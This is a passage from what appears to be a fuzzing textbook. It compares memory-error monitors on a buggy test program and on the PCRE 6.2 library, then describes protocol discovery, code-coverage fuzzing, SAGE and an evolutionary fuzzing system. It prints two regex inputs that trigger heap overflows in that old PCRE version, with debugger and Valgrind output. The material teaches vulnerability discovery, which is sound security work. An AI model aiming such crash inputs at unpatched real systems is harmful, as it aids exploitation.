_insure_alloca(), which set up the allocation. Later, when an index into the buffer is used, checks are made to ensure this is safe, using the _insure_index2_checka() function. 6.5 A Test Program 189 Figure 6.8 Insure++ reports on all issues it has helped detect. Insure++ has the most information available, and it is not surprising that it does the best job of monitoring. In fact, it finds all the memory corruption bugs (Figure 6.8), which is significantly better than the other tools we’ve discussed, all of which missed two. It did not complain about the denial of service issue. Insure++ also quickly points out the exact cause and location of problems, including line numbers. In fact, Figure 6.9 shows that not only does it find where the wild pointer write occurs, but also identifies the first spot where a problem occurs because of it. This type of detailed information can save a tremendous amount of time when analyzing the results of fuzzing. 6.6 Case Study: PCRE The last example illustrated the strengths and weaknesses of some monitoring tools in a test environment. Now, let us try them on an example that is a little more real- istic. The Perl Compatible Regular Expression library is used by many open-source applications including Firefox, Safari, Apache, and Postfix. This library has had various vulnerabilities associated with it throughout its lifetime. The current version 190 Target Monitoring as of the writing of this book is 7.4. Let us look back in time at version 6.2, which can still be found on the Internet. It turns out that a modified version of this library was shipped with Apple’s iPhone in April 2007, and the bugs we’re considering here allowed for remote exploitation of the device. This library can be built with the commands: ./configure ./make gcc -g -I. pcredemo.c -o pcredemo .libs/libpcre.a This produces a small sample program called pcredemo, which takes two argu- ments. The first argument is a regular expression and the second is a string to exam- ine with the supplied regular expression. For example, cmiller$ ./pcredemo 'ab.d' ABCDabcdABCD Match succeeded at offset 4 0: abcd No named substrings There are multiple vulnerabilities in this particular version of PCRE. Below are two inputs that cause a heap overflow condition. 6.6 Case Study: PCRE 191 Figure 6.9 Insure++ reveals detailed information about the location of two bugs. cmiller$ ./pcredemo '[[**]]' a PCRE compilation failed at offset 6: internal error: code overflow cmiller$ ./pcredemo '(?P<a>)(?P>a){1}' a PCRE compilation failed at offset 32: internal error: code overflow As can be seen from the output, the PCRE library correctly identifies that an overflow has occurred, but only after the fact. However, since the program does not crash, it is likely that a fuzz tester who blindly attached a debugger and ignored the output might miss this useful message. In fairness, this program outputs many different error messages, especially when fuzzing, so it would be easy to miss this particular message in the noise. In fact, one of the authors of this book did fuzz this library and the program never crashed. It was only through luckily observing the output of the application that something more was noticed. After this was noticed, the author reran the inputs under Insure++ and found the vulnerability. Now that we have a real program with a couple of real bugs, let’s see how the advanced memory corruption monitors do in detecting these two buffer overflows. 6.6.1 Guard Malloc Since these two vulnerabilities are heap overflows, there is a good chance Guard Malloc will find the bugs. In fact, it does find both of them, cmiller$ DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./pcredemo '[[**]]' a GuardMalloc: Allocations will be placed on 16 byte boundaries. GuardMalloc: - Some buffer overruns may not be noticed. GuardMalloc: - Applications using vector instructions (e.g., SSE or Altivec) should work. GuardMalloc: GuardMalloc version 18 Bus error cmiller$ DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./pcredemo '(?P<a>)(?P>a){1}' a GuardMalloc: Allocations will be placed on 16 byte boundaries. GuardMalloc: - Some buffer overruns may not be noticed. GuardMalloc: - Applications using vector instructions (e.g., SSE or Altivec) should work. GuardMalloc: GuardMalloc version 18 Bus error Running the first example under the gdb debugger reveals the exact line where the overflow occurs: Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xb000d000 192 Target Monitoring 0x00004f7b in compile_regex (options=<value temporarily unavailable, due to optimizations>, oldims=0, brackets=0xbffff4a4, codeptr=0xbffff49c, ptrptr=0xbffff498, errorcodeptr=0xbffff4a0, lookbehind=0, skipbytes=0, firstbyteptr=0xbffff4ac, reqbyteptr=0xbffff4a8, bcptr=0x26, cd=0xbffff454) at pcre_compile.c:3557 3557 PUT(code, 1, code - start_bracket); Likewise for the second vulnerability, Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0xb000d000 0x00003844 in compile_regex (options=0, oldims=0, brackets=0xbffff474, codeptr=0xbffff46c, ptrptr=0xbffff468, errorcodeptr=0xbffff470, lookbehind=0, skipbytes=0, firstbyteptr=0xbffff47c, reqbyteptr=0xbffff478, bcptr=0x0, cd=0xbffff424) at pcre_compile.c:2354 2354 *code = OP_KET; So, if when fuzzing this particular library, the tester was only using the simple method of attaching a debugger and waiting for crashes, he or she would miss these two critical (and exploitable) bugs. If the tester was monitoring the program with Guard Malloc, he or she would have found both bugs. Plus, this program is small enough that there was no observable slowdown in performance when running with Guard Malloc. Therefore, in this case, it is difficult to think of a reason not to use this additional monitoring when fuzzing. 6.6.2 Valgrind This real-world example confirms what we saw in the test program in the last sec- tion. Valgrind again finds the two vulnerabilites and gives even more useful infor- mation than Guard Malloc. [cmiller@LinuxForensics pcre-6.2]$ valgrind ./pcredemo '[[**]]' a ==12840== Invalid write of size 1 ==12840== at 0x804B5ED: compile_regex (pcre_compile.c:3557) ==12840== by 0x804C50F: pcre_compile2 (pcre_compile.c:4921) ==12840== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12840== by 0x804864E: main (pcredemo.c:76) ==12840== Address 0x401F078 is 0 bytes after a block of size 80 alloc'd ==12840== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==12840== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877) ==12840== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12840== by 0x804864E: main (pcredemo.c:76) ==12840== ==12840== Invalid write of size 1 6.6 Case Study: PCRE 193 ==12840== at 0x804C545: pcre_compile2 (pcre_compile.c:4935) ==12840== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12840== by 0x804864E: main (pcredemo.c:76) ==12840== Address 0x401F079 is 1 bytes after a block of size 80 alloc'd ==12840== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==12840== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877) ==12840== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12840== by 0x804864E: main (pcredemo.c:76) Another interesting thing that occurs is that, unlike Guard Malloc, it is able to con- tinue past the first bug to find another (related) problem. A similar result is found for the other bug, [Linux pcre-6.2]$ ./pcredemo '(?P<a>)(?P>a){1}' a ==12857== Invalid write of size 1 ==12857== at 0x804B5ED: compile_regex (pcre_compile.c:3557) ==12857== by 0x804C50F: pcre_compile2 (pcre_compile.c:4921) ==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12857== by 0x804864E: main (pcredemo.c:76) ==12857== Address 0x401F068 is 1 bytes after a block of size 63 alloc'd ==12857== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==12857== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877) ==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12857== by 0x804864E: main (pcredemo.c:76) ==12857== ==12857== Invalid write of size 1 ==12857== at 0x804C545: pcre_compile2 (pcre_compile.c:4935) ==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12857== by 0x804864E: main (pcredemo.c:76) ==12857== Address 0x401F069 is 2 bytes after a block of size 63 alloc'd ==12857== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==12857== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877) ==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846) ==12857== by 0x804864E: main (pcredemo.c:76) 6.6.3 Insure++ In order to build the pcredemo program for use with Insure++, we need to tell it to use Insure as the compiler. The following commands will build pcredemo for use with Insure++: ./configure CC=insure make insure -g -I. pcredemo.c -o pcredemo .libs/libpcre.a 194 Target Monitoring After this, running pcredemo will bring up the Insure console, which will dis- play any problems identified. Insure++ finds both vulnerabilities and correctly indi- cates where they can be found in the source code (Figure 6.10). 6.7 Summary Fuzzing without watching for errors will not find vulnerabilities. Furthermore, it is important to understand the types of errors you can expect to find with fuzzing. We discussed some of the more common security vulnerabilities and how you might detect them. We then outlined some of the various methods. These methods include sending valid test cases between fuzzed inputs, monitoring system resources, both locally and remotely, as well as changing the way the application executes. The closer you monitor the target, and the more sophisticated tools used for the moni- toring, the more likely you will find those hard-to-locate vulnerabilities. 6.7 Summary 195 Figure 6.10 Insure++ outlines the two PCRE bugs. C H A P T E R 7 Advanced Fuzzing This chapter will discuss ongoing research efforts to advance the field of fuzzing. It’s impossible to say where the next big advancement in fuzzing will come from. We present here a few ideas that from our experiences, show the most promise. So far we’ve talked about how to set up fuzzing and some of the problems you may run into. One of the themes of the book is that intelligent, generation-based fuzzing is most effective but can take a tremendous amount of effort and time to set up. The first research topic we present attempts to automatically determine the structure of protocols, both network and file formats, automatically, removing this obstacle to generation-based fuzzing. The other topics we discuss are different approaches at trying to utilize the information from the application itself to improve test-case gen- eration. For example, by knowing which paths through a program a particular set of fuzzed inputs took, can we use that information to generate even better inputs? 7.1 Automatic Protocol Discovery Imagine if a tool could simply watch data being consumed by an application, auto- matically determine the type of each data, and insert appropriate smart fuzzes. For example, take some data from a file or network protocol that looks like this: “\x01\x00\x0aGodisGood\n” After reading the earlier chapter that talks about data representation it’s probably clear that 01 = type, 000a = length, and “GodisGood\n” is the data. However, note that a “\n” is a \x0a in hex (see an ASCII/HEX table if this is unclear; “man ascii” in Linux). Thus, it can be a bit challenging for pre-fuzzing parsing code to automatically determine the types. There are multiple ways to deal with this issue. For example, tokAids in GPF allow the tester to inform GPF how to “tokenize” stored sessions. But, since it’s easier for humans to perform pattern recognition than computers, a graphi- cal tool could be constructed that would allow for field tagging.1 One could pop open a file or network capture, highlight each field, and manually mark it accordingly. This would likely end up more accurate than computer-generated code. Some work has been done to try to automate this to discover such protocols. PolyGlot is one such work.2 This tool watches as a program consumes an input. 197 1Charlie Miller has developed such a tool. 2J. Caballero, H. Yin, Z. Liang, D. Song, “Polyglot: Automatic Extraction of Protocol Message Format Using Dynamic Binary Analysis,” In Proceedings of the 14th ACM Conference on Com- puter and Communication Security, Alexandria, VA, October 2007. Based on the assembly instructions used to read bytes from the data stream, some basic grouping of the input can be made. For example, does the program treat a particular section of bytes as a byte, word, or dword? Next, by watching how these bytes are processed within the control flow graph of the program, these individual elements (bytes, words, dwords) can be grouped into “structures.” For example, if a function loops, and in each loop 2 bytes and 4 dwords are consumed, it can be assumed that those 18 bytes belong together in some fashion. The authors of the paper use the tool to successfully automatically reverse engineer a number of net- work protocols including DNS, HTTP, IRC, SMB, and ICQ. Another example of automated protocol discovery is included with the com- mercial beSTORM fuzzer. It does this by examining the valid test cases or inputs. It automatically tries to find length value pairs in binary data and can decode pro- tocols based on ASN.1 (more on this in Chapter 8). It tries many models and assigns percentages to how much of the structure it can account for in the actual data. For text-based inputs, it can break apart the data based on a number of dif- ferent separators (for example, Tab, Comma) as well as user-defined separators. It has custom modules for those inputs based on HTTP and XML. Finally, it provides a graphical user interface to help the tester describe the protocol, i.e. specify the location of length fields. 7.2 Using Code Coverage Information One of the major challenges of fuzzers is measuring their effectiveness. While obtaining 100% code coverage doesn’t necessarily mean all bugs have been found, it’s certainly true that no bugs will be found in code that hasn’t even been executed. So, the best we know how to do is to cover all the code, and cover it with all the attack heuristics, random data, and other information possible. That being the case, how can one know what percentage of the attack surface a tool is covering? For example, if an arbitrary program contains 1,000 basic blocks (series of assembly instructions until a branch instruction) and a network fuzzer hits 90 basic blocks, did it really only cover 90/1000, or 9% of the total code? Strictly speaking, that’s true, but the fact is that most of that code cannot be covered via the interface under test. So, how much of the attack surface code was covered? Suppose that it’s possible to reach 180 BBs from the network, the coverage was then 90/180, or 50% of the attack surface. But how does one figure out the number of BBs on the attack surface? A combination of all known valid sessions/files would be a good, but difficult, first step. If source code is available, there are a number of tools that can be used to dis- play code coverage information. However, suppose source code is not available. Coverage can still be monitored. The two main techniques are pre-analysis and real- time analysis: • Pre-analysis requires locating the start of every function and basic block in the application. This can be done with IDA Pro, for example, and the pida_dump.py IDAPython script. Then using PaiMei, a breakpoint is set at 198 Advanced Fuzzing each of these locations. As each basic block is hit, it is recorded; that basic block or function has now been covered. • Real-time analysis is done with hardware support via the Intel MSR register, which can be used to record every address that EIP (the Intel instruction pointer) has executed. This has the advantage of being faster (no time required to pass back and forth between the debugger and the debuggee) and doesn’t rely on IDA Pro output. Here are a few things to consider when deciding which approach to use: 1. Pre-analysis could be difficult if the application is protected. 2. MSR doesn’t work in virtual machines such as VMWare. 3. In real-time analysis, all instructions are traced, so the coverage tool would have to manually filter hits outside the scope of the target DLL(s) (i.e., the many jumps to kernel and library DLLs). 4. Pre-analysis is still required to determine how many total functions/basic blocks there are if the percent of code coverage is desired. So, code coverage can be obtained, regardless of whether source code is available, now for examples of how it can be used. Code coverage (or really lack of code coverage) reveals which portions of the code have not been tested. This code may also be code that is not executed during normal usage. It is possible that the majority of bugs will be lurking in these dark corners of the application. Therefore, fuzzing with code coverage could also reveal portions of the application that require further static analysis. With such analysis may come a better understanding of those portions of the application that can aid in better input construction for the fuzzer. Iterating this approach can provide more thorough testing. Miller gave a talk outlining this approach in which he used GPF and code coverage from PaiMei to discover security critical bugs in an application.3 7.3 Symbolic Execution The paper entitled “Automated Whitebox Fuzz Testing” by Godefroid, Levin, and Molnar is an exceptional piece of research for next generation whitebox fuzzers. In particular they created a tool called SAGE (Scalable, Automated, Guided Execution), an application for a white-box file fuzzing tool for x86 Win- dows applications. SAGE works, as in mutation-based (black-box) fuzzing, by starting with an ini- tial input. This input is then symbolically executed by the program while informa- tion about how it is used is stored. The information about why each particular branch was taken (or not taken) is referred to as constraints. Then, each of these constraints is negated one at a time and the entire system is solved, resulting in a new input to the program that has a different execution path. This is then repeated for each constraint in the program. In theory, this should give code coverage for the entire attack surface. In practice, this isn’t the case, for reasons we’ll discuss in a bit. 7.3 Symbolic Execution 199 3“Fuzzing with Code Coverage by Example”: www.toorcon.org/2007/event.php?id=34 The paper gives the following example of a function for which SAGE can quickly get complete code coverage while a random fuzzer will struggle: void top(char input[4]){ int cnt = 0; if(input[0] == 'b') cnt++; if(input[1]=='a') cnt++; if(input[2]=='d') cnt++; if(input[3]=='!') cnt++; if(cnt>=3) abort(); //error } This is clearly a contrived example, but it does illustrate a point. Using purely random inputs, the probability of finding the error is approximately 2^(–30). Let us walk through how SAGE would generate inputs for such a function. Suppose we start with the input “root,” a valid but not very useful input. SAGE symbolically executes this function and records at each branch point what was compared. This results in constraints of the form {input[0] != 'b', input[1] !='a', input[2]!='d', input[3]!='!'}. It then begins to systematically negate some of the constraints and solve them to get new inputs. For example, it might negate the first branch constraint to generate the following set of constraints: {input[0] == 'b', input[1] !='a', input[2]!='d', input[3]!='!'}. This constraint would then be solved to supply an input something like “bzzz.” This will execute down a different path than the original input “root,” resulting in the variable cnt having a different value upon exit from the function. Eventually, continuing in this approach, the following set of constraints will be generated: {input[0] == 'b', input[1] =='a', input[2]=='d', input[3]=='!'}. The solution of this set of constraints gives the input “bad!” This input finds the bug. This technique does have its limitations, however. The most obvious is that there are a very large number of paths in a program. This is the so-called path explosion problem. It can be dealt with by generating inputs on a per-function basis and then tying all the information together. Another major limitation is that, for a number of reasons, the constraint solver may not be able to solve the constraints (in a reasonable amount of time). Yet another problem arises because symbolic execu- tion may be imprecise due to interactions with system calls and pointer aliasing problems. Thus, this approach loses one of the best features of black-box fuzzing, namely, you are actually running the program so there are no false positives. Finally, the ability of SAGE to generate good inputs relies heavily on the quality of the initial input, much like mutation-based fuzzing. 200 Advanced Fuzzing Despite all these limitations, SAGE still works exceptionally well in many cases and has a history of finding real vulnerabilities in real products. For example, SAGE was able to uncover the ANI format-animated cursor bug. This vulnerability specif- ically arises when an input is used with at least two anih records, and the first one is of the correct size. Microsoft fuzzed this application, but all of their inputs only had one anih record.4 Therefore, they never found this particular bug. However, given an input with only one anih record, SAGE generated an input with multiple anih records and quickly discovered this bug. This code contained 341 branch con- straints and the entire process took just under 8 hours. Other successes of SAGE include finding serious vulnerabilities in decompression routines, media players, Office 2007, and image parsers. Unfortunately, at the present time, SAGE is not available outside of Microsoft Research. 7.4 Evolutionary Fuzzing Evolutionary fuzzing is based on concepts from evolutionary testing (ET). First, we provide a background on ET, then we proceed with novel research.5 7.4.1 Evolutionary Testing Evolutionary testing (ET) spawns from the computer science study of genetic algo- rithms. ET is part of a white-box testing technique used to search for test data. Evo- lutionary or genetic algorithms use search heuristics inspired by the idea of evolutionary biology. In short, each member of a group or generation is tested for fitness. At the end of each generation, the more fit subjects are allowed to breed, fol- lowing the “survival of the fittest” notion. Over time the subjects either find the solution in search or converge and do the best they can. The fitness landscape is a function of the fitness function and the target problem. If it’s not possible to intel- ligently progress past a particular point, we say the landscape has become flat. If progress is in the wrong direction, then we say the landscape is deceptive. To under- stand how evolutionary testing works in the traditional sense, we briefly show how fitness could be calculated. We then show two typical problems. 7.4.2 ET Fitness Function The current fitness function for such white-box testing operates by only consider- ing two things: The number of branches from the target code (called approach level) and the distance from the current value needed to take the desired branch (called branch distance or just distance). The formula is fitness = approach_level + normal- ized(dist). If fitness = 0, then the data to exercise the target has been found. The 7.4 Evolutionary Fuzzing 201 4http://blogs.msdn.com/sdl/archive/2007/04/26/lessons-learned-from-the-animated-cursor- security-bug.aspx 5“We” for all of section 7.4 indicates the research that Mr. DeMott did at Michigan State Uni- versity under the direction of Dr. Enbody and Dr. Punch. “//target” in the following code snippet is the test point we’d like to create data to reach: (s) void example(int a, int b, int c, int d) { (1) if (a >= b) { (2) if (b <= c) { (3) if (c == d) { //target Suppose the initial inputs are a = 10, b = 20, c = 30, d = 40. Since (a) is not greater than or equal to (b) a decisive or critical branch is taken, meaning there is no longer a chance to reach the target. Thus, the algorithm will stop and calculate the fitness. The data is two branches away so the approach level equals 2. The absolute value of c – d = 10, so a normalized(10) is added to calculate the fitness. In this case, the fitness = 2 + norm(10). 7.4.3 ET Flat Landscape This works pretty well for some code. But imagine if we’re testing the following code? (s) void flag_example(int a, int b) { (1) int flag = 0; (2) if (a == 0) (3) flag = 1; (4) if (b != 0) (5) flag = 0; (6) if (flag) (7) //target (e) } What kind of fitness reading can the ET algorithm get from the flag variable? None. This is because it is not a value under direct control. Thus, the fitness landscape has become flat and the search degenerates to a random search. 7.4.4 ET Deceptive Landscape Consider the following snippet of C code: (s) double function_under_test (double x) { 202 Advanced Fuzzing (1) if (inverse(x) == 0 ) (2) //target (e) } double inverse(double d) { (3) if (d == 0) (4) return 0; else (5) return 1/d; } Here the fitness landscape is worse than flat, it’s actually deceptive. For high-input values given to inverse(), lower and lower numbers are returned. The algorithm believes it is getting closer to zero when in fact it is not. 7.4.5 ET Breeding In the simplest case, breeding could occur via single point crossover. Suppose the algorithm is searching on dword values (an integer on most modern systems). 0x0003 and 0xc0c0 are to mate from the previous generation. The mating algo- rithm could simply act as follows: 1. Convert to binary: a=00000011 and b=11001100. 2. Choose a cross or pivot point at random: 0 | 0000011 and 1 | 1001100. 3. a¢=10000011 and b¢=01001100. Mutation might also be employed and in the simplest case could just flip a bit on a random dword in a random location. Such things are done on a predeter- mined frequency, and with each generation the subjects under test should become more fit. 7.4.6 Motivation for an Evolutionary Fuzzing System This “slamming” around nature of genetic algorithms to find more fit children is not unlike the random mutations that are often employed in fuzzing. Also, the notion of preserving building blocks is key to understanding genetic algorithms. Bits of significant data need to be present but reordered to find the optimal solu- tion. Often standards such as network protocols require certain key strings be present, but unexpected combinations with attack heuristics might cause the data parsing functions to die. It seems natural to build on the above ideas to cre- ate an Evolutionary Fuzzing System (EFS), which is available for download at www.vdalabs.com. There are two key differences between ET and EFS. ET requires source code and builds a suite of test data that is then used later for the actual testing. EFS does not need source code, and the testing is done in real-time as the test cases evolve. 7.4 Evolutionary Fuzzing 203 7.4.7 EFS: Novelty McMinn and Holcombe6 are advancing the field of evolutionary testing by solving the above ET problems. However, we propose a method for performing evolution- ary testing (ET) that does not require source code. This is useful for third-party test- ing, verification, and security audits when the source code of the test target will not be provided. Our approach is to track the portions of code executed (“hits”) dur- ing run-time via a debugger. Previous static analysis of the compiled code allows the debugger to set break points on functions or basic blocks. We partially overcome the traditional problems (flat or deceptive areas) of evolutionary testing by the use of a seed file (building blocks), which gives the evolutionary algorithm hints about the nature of the protocol to learn. Our approach works differently from traditional ET in two important ways: 1. We use a gray-box style of testing, which allows us to proceed without source code. 2. We search for sequences of test data, known as sessions, which fully define the documented and undocumented features of the interface under test (protocol discovery). This is very similar to finding test data to cover every source code branch via ET. However, the administration of discovered test data happens during the search. Thus, test results are discovered as our algorithm runs. Robustness issues are recorded in the form of crash files and MySQL data, and can be further explored for exploitable conditions while the algorithm continues to run. 7.4.8 EFS Overview We propose a new fuzzer, which we call the Evolutionary Fuzzing System or EFS as shown in Figure 7.1. EFS will learn the target protocol by evolving sessions: a sequence of input and output that makes up a conversation with the target. To keep track of how well we are doing, we use code coverage as a session metric (fitness). Sessions with greater fitness breed to produce new sessions. Over time, each generation will cover more and more of the code in the target. In particular, since EFS covers code that can be externally exercised, it covers code on the network attack surface. EFS could be adapted to fuzz almost any type of interface (attack surface). To aid in the dis- covery of the language of the target, a seed file is one of the parameters given to the GPF portion of EFS (see Figure 7.8). The seed file contains binary data or ASCII strings that we expect to see in this class of protocol. For example, if we’re testing SMTP some strings we’d expect to find in the seed file would be: “helo,” “mail to:,” “mail from:,” “data,” “\r\n.r\n,” etc. EFS could find the strings required to speak 204 Advanced Fuzzing 6P. McMinn. “Search-Based Software Test Data Generation: A Survey.” Software Testing, Veri- fication & Reliability, 14(2)(2004): 105–156; and P. McMinn and M. Holcombe, “Evolutionary Testing Using an Extended Chaining Approach,” ACM Evolutionary Computation, 14(1)(March 2006): 41–64. the SMTP language, but for performance reasons, initialing some sessions with known requirements (such as a valid username and password, for example) will be beneficial. EFS uses fuzzing heuristics in mutation to keep the fuzzer from learning the pro- tocol completely correct. Remember, good fuzzing is not too close to the specifica- tion but not too far away, either. Fuzzing heuristics include things like bit-flipping, long string insertion, and format string creation. Probably even more important is the implicit fuzzing that a GA performs. Many permutations of valid command orderings will be tried and retried with varying data. The key to fuzzing is the suc- cessful delivery, and subsequent consumption by the target, of semi-valid sessions of data. Sessions that are entirely correct will find no bugs. Sessions that are entirely bogus will be rejected by the target. Testers might call this activity “good test case development”. While the evolutionary tool is learning the unfamiliar network protocol, it may crash the program. That is, as we go through the many iterations of trying to learn each layer of a given protocol, we will be implicitly fuzzing. If crashes occur, we make note of them and continue trying to learn the protocol. Those crashes indicate places of interest in the target code for fixing or exploiting, depending on which hat is on. The probability of finding bugs, time to convergence, and total diversity is still under research at this time. A possible interesting side effect of automatic protocol discovery is the itera- tion of paths through a given protocol. Consider, for example, a recent VNC bug. The option to use no authentication was a valid server setting, but it should never have been possible to exercise from the client side unless specifically set on the server side. However, this bug allowed a VNC client to choose no authentication even when the server was configured to force client authentication. This allowed a VNC client to control any VNC vulnerable server without valid credentials. 7.4 Evolutionary Fuzzing 205 Figure 7.1 The Evolutionary Fuzzing System (EFS). This notion indicates that it might be possible to use EFS results, even if no robust- ness issues are discovered, to uncover possible security or unintended functional- ity errors. Data path analysis of the matured sessions would be required at the end of a run. Overall diversity is perceived to be an important metric leading to maximum bug discovery capability. Diversity indicates the percentage of code coverage on the current attack surface. If EFS converges to one best session and then all other sessions begin to look like that (which is common in genetic algorithms), this will be the only path through code that is thoroughly tested. Thus, it’s important to ensure diversity while testing. As a method to test such capabilities, a benchmark- ing system is in development. Initial results are interesting and indicate that the use of multiple pools to store sessions is helpful in maintaining a slightly higher level of diversity. However, maximum diversity (total attack surface coverage) was not possible with pools. We intend to develop a newer niching or speciation technique, which will measure the individuality of each session. Those that are significantly different from the best session, regardless of session fitness, will be kept (i.e., they will be exempt from the crossover process). In this case, the sim- ple fitness function we use now (hit basic blocks or functions) would be a little more complex. 7.4.9 GPF + PaiMei + Jpgraph = EFS We choose to build upon GPF because the primary author of this research is also the author of that fuzzer and consequently controls access to the source code. GPF was designed to fuzz arbitrary protocols given a capture of real network traffic. In this case, no network sniff is required, as EFS will learn the protocol dynamically. PaiMei was chosen because if its ability to “stalk” a process. The process of stalking involves • Pre-analyzing an executable to find functions and basic blocks; • Attaching to that executable as it runs and setting breakpoints; • Checking off those breakpoints as they are hit. GPF and PaiMei had to be substantially modified to allow the realization of EFS. PHP code, using the Jpgraph library, was written to access the database to build and report graphical results. 7.4.10 EFS Data Structures A session is one full transaction with the target. A session is made up of legs (reads or writes). Each leg is made up of tokens. A token is a piece of data. Each token has a type (ASCII, BINARY, LEN, etc.) and some data (“jared,” \xfe340078, etc.). Ses- sions are organized into pools of sessions (see Figure 7.2). This organization is for data management, but we also maintain a pool fitness, the sum of the unique func- tion hits found by all sessions. Thus, we maintain two levels of fitness for EFS: ses- sion fitness and pool fitness. We maintain pool fitness because it is reasonable that a group of lower-fit sessions, when taken together, could be better at finding bugs 206 Advanced Fuzzing than any single, high-fit session. In genetic algorithm verbiage,7 each chromosome represents a communication session. 7.4.11 EFS Initialization Initially, p pools are filled with at most s-max sessions, each of which has at most l-max legs, each of which has at most t-max tokens. The type and data for each token are drawn 35% of the time from a seed file or 65% of the time randomly gen- erated. Again, a seed file should be created for each protocol under test. If little is known about the protocol, a generic file could be used, but pulling strings from a binary via reverse engineering or sniffing actual communications is typically possi- ble. Using no seed file is also a valid option. For each generation, every session is sent to the target and a fitness is generated. The fitness is code coverage that we measure as the number of functions or basic blocks hit in the target. At the end of each generation, evolutionary operators are applied. The rate (every x generations) at which session mutation, pool crossover, and pool mutation occurs is configurable. Session crossover occurs every generation. 7.4.12 Session Crossover Having evaluated code-coverage/fitness for each session, we use the algorithm shown in Figure 7.3 for crossover: 1. Order the sessions by fitness, with the most fit being first. 2. The first session is copied to the next generation untouched. Thus, we use elitism. 3. Randomly pick two parents, A and B, and perform single point crossover, creating children A′ and B′. Much like overselection in genetic program- ming, 70% of the time we use only the top half of the sorted list to pick parents from while 30% of the time we choose from the entire pool. 7.4 Evolutionary Fuzzing 207 Figure 7.2 Data structures in EFS. 7David E. Goldberg. (1989). Genetic Algorithms in Search, Optimization and Machine Learning. (Boston: Addison-Wesley). ISBN: 0201157675 4. Copy all of the A legs into A′ up until the leg that contains the cross point. Create a new leg in A′. Copy all tokens from current A leg into the new A′ leg up until the cross point. In session B, advance to the leg that contains the cross point. In that leg, advance to the token after the cross point. From there, copy the remaining tokens into the current A′ leg. Copy all the remaining legs from B into A′. 5. If we have enough sessions stop. Else: 6. Create B′ from (B x A). 7. Start in B. Copy all of the B legs into B′ up until the leg that contains the cross point. Create a new leg in B′. Copy all tokens from that B leg into the new B′ leg, until the cross point. In session A advance to the leg that con- tains the cross point. In that leg, advance to the token after the cross point. From there, copy the remaining tokens into the current B′ leg. Copy all the remaining legs from A into B′. 8. Repeat until our total number of sessions (1st + new children) equals the number we started with. 7.4.13 Session Mutation Since we are using elitism, the elite session is not modified. Otherwise, every session is potentially mutated with probability p. The algorithm is shown in Figure 7.4: 1. For each session, we randomly choose a leg to do a data mutation on. We then randomly choose another leg to do a type mutation on. 2. A data mutation modifies the data in one random token in the chosen leg. Fuzzing heuristics are applied, but a few rules are in place to keep the tokens from growing too large. 3. If the token is too large or invalid, we truncate or reinitialize. 4. The heuristics file also contains the rules detailing how each token is mutated. For example, a token that contains strings (ASCII, STRING, ASCII_CMD, etc.) is more likely to be mutated by the insertion of a large or format string. Also, as part of the information we carry on each token, 208 Advanced Fuzzing Figure 7.3 Session crossover. we will know if each token contains specific ASCII traits such as numbers, brackets, quotes, and so forth. We may mutate those as well. Tokens of type (BINARY, LEN, and others.) are more likely to have bits flipped, hex values changed, etc. 5. The type mutation has a chance to modify both the type of the leg and the type of one token in that leg. Leg->type = _rand(2) could reinitialize the legs type. (That will pick either a 0 or a 1. 0 indicates READ and 1 indi- cates WRITE.) tok->type = _rand(14) could reinitialize the tokens type. There are 0-13 valid types. For example, STRING is type 0 (structs.h con- tains all the definitions and structure types). 7.4.14 Pool Crossover Pool crossover is very similar to session crossover, but the fitness is measured dif- ferently. Pool fitness is measured as the sum of the code uniquely covered by the ses- sions within. That is, count all the unique functions or basic blocks hit by all sessions in the pool. This provides a different (typically better) measure than, say, the coverage by the best session in the pool (see Figure 7.5). The algorithm is: 1. Order the pools by fitness, with the most fit being first. Again, pool fitness is the sum of all the sessions’ fitness. 2. The first pool is copied to the next generation untouched. Thus, elitism is also operating at the pool level. 3. Randomly pick two parents and perform single point crossover. The crossover point in a pool is the location that separates one set of sessions from another. 70% of the time we use only the top half of the sorted list to pick parents from. 30% of the time we choose from the entire list of pools. 7.4 Evolutionary Fuzzing 209 Figure 7.4 Session mutation. 4. Create A′ from (A x B): 5. Start in A. Copy all of the sessions from A into A′ until the cross point. In pool B, advance to the session after the cross point. From there, copy the remaining sessions into A′. 6. If we have enough pools stop. Else: 7. Create B′ from (B x A). 8. Start in B. Copy all of the sessions from B into B′ until the cross point. In pool A, advance to the session after the cross point. From there, copy the remaining sessions into B′. 9. Repeat until the total number of pools (1st + new children) equals the number started with. 7.4.15 Pool Mutation As with session mutation, pool mutation does not modify the elite pool. The algo- rithm is (example in Figure 7.6): 1. 50% of time add a session according to the new session initialization rules. 2. 50% of the time delete a session. 3. If the sessions/pool are fixed, do both. 4. In all cases, don’t disturb the first session. 210 Advanced Fuzzing Figure 7.5 Pool crossover. 7.4.16 Running EFS From a high level, the protocol between EFS-GPF and EFS-PaiMei is as follows: GPF initialization/setup data Æ PaiMei Ready ¨ PaiMei <GPF carries out communication session with target> GPF {OK|ERR} Æ PaiMei <PaiMei stores all of the hit and crash (if any) information to the database> When all of the sessions for a given generation have been played, GPF contacts the database, calculates a fitness for each session (counts hits) and for each pool (dis- tinct hits for all sessions within a pool), and breeds sessions and pools as indicated by the configuration options. Figures 7.7 and 7.8 show the EFS-GPF and EFS- PaiMei portions of EFS in action. For the GUI portion we see: 1. Two methods to choose an executable to stalk: a. The first is from a list of process identifications (PIDs). Click the “Refresh Process List” to show running processes. Click the process you wish to stalk. b. The second is by specifying the path to the executable with arguments. An example would be: 